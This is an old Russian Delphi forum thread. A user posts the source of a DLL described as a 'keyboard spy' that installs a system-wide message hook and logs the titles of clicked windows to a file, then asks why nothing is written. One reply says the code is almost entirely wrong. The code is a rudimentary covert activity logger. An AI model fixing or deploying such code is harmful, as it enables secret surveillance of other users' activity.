![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Перехват сообщений от мыши [D7, WinXP]
Виталий11111 © (2005-10-13 15:00:00)ibrary spydll;
{ DLL для клавиатурного шпиёна}
uses Windows, Messages, SysUtils, Dialogs;
var SystemHook: HHook = 0;
Wnd : HWND = 0;
f: TextFile;
wtext: array[0..255] of Char;
fdir: String;
function SysMsgProc(Code: Integer; wParam: Word; lParam: LongInt):LongInt;stdcall;
begin
Result := CallNextHookEx(SystemHook, Code, wParam, lParam);
if Code = HC_ACTION then
begin
if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then
begin
AssignFile(f, 'x.txt');
if not FileExists('x.txt') then
begin
Rewrite(f);
CloseFile(f);
end;
Append(f);
Wnd := TMsg(Pointer(lParam)^).hwnd;
GetWindowtext(Wnd, wtext, 255);
WriteLn(f, wtext);
Flush(f);
CloseFile(f);
end;
end;
end;
procedure RunStopHook(State: Boolean) export;stdcall;
begin
if State then
begin
SystemHook := SetWindowsHookEx(WH_GETMESSAGE, @SysMsgProc, HInstance, 0);
end
else
begin
UnhookWindowsHookEx(SystemHook);
SystemHook := 0;
end;
end;
exports RunStopHook index 1;
begin
end.
В файл ничего не пишется!!! В чём проблема?
Eraser (2005-10-13 15:01:00) [1]
> Виталий11111 (13.10.05 15:00)
В том что код неправильный... почти весь.